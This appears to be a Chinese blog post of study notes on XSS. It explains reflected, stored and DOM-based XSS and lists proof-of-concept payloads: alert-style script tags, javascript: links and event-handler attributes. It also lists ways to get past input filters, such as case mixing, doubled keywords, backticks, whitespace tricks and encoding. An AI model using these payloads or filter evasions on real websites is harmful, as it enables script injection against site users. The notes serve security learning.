学习笔记-XSS跨站脚本

XSS主要基于javascript语言完成恶意的攻击行为。

XSS的验证:

  <script>alert(/xss/)</script>  常用

  <script>confirm('xss')</script>

  <script>prompt("xss")</script>

XSS分类:

反射型XSS(非持久型);存储型XSS(持久型,通常在服务器中);DOM型XSS(文档,在浏览器端执行)

反射型XSS:(数据流量走向:浏览器>后端>浏览器)

  1.非持久性

  2.参数型脚本

  3.反射型XSS的JS代码在Wed应用的参数(变量中),如搜索框等

存储型XSS:流量走向:浏览器>后端>数据库>后端>浏览器

  攻击者发送恶意脚本到服务器,用户浏览到页面读取到脚本,并且在客户端解析并执行

  持久性

DOM型XSS:URL>浏览器

  <body><p><ul>之类的元素在文档中的布局形成了文档的结构,它们既是元素节点

  文档通常会包含一些内容,这些内容多数由文本提供,这就是文本节点

  元素通常都有一些属性,属性用于对元素做出更具体的描述,这就是属性节点

DOM型XSS不需要服务器的解析响应,浏览器端就可以DOM解析,客户端上的JS脚本可以访问浏览器的DOM并修改页面内容

   非持久性

XSS paload构造

  利用【<>】构造HTML标签和<script></script>标签   //原始的标签,无防waf的能力

  利用HTML标签的属性值(伪协议)  <a href="javascript:alert(/xss/)">touch me !</a>; <img src="javascript:alert('xss')">(此标签需要在IE6下测试)

利用事件

  <img src='./aa.jpg' onmouseover='alert(/xss/)'>  写入图片,鼠标移动到会触发,出现弹窗。

  <input type="text" onclick="alert(/xss/)">  鼠标点击会触发

考虑突破过滤:

大小写;

双写关键字;

引号;如果在HTML标签中,可以不用引号;如果在js中可以考虑用反引号代替单双引号

<img src="#" onerror="alert(/xss/)"/>

<img src='#' onerror='alert(/xss/)'/>

<img src=# onerror=alert(/xss/)/>

<img src="#" onerror=alert(`xss`)/>

<img src="#" onerror=alert`xss`/>

斜杠代替空格;

Tab与回车;

  在一些位置添加tab和回车符来绕过关键字过滤

编码;

  HTML实体编码;URL编码;

 

posted @ 2022-10-07 17:30  彩凤898  阅读(60)  评论(0编辑  收藏  举报